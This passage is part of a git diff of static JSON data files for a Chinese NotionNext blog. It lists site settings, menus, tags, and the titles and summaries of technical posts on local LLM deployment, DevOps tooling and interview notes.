fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"category":"心情随笔"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253.json" new file mode 100644 index 000000000..3b7068411 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":16,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core 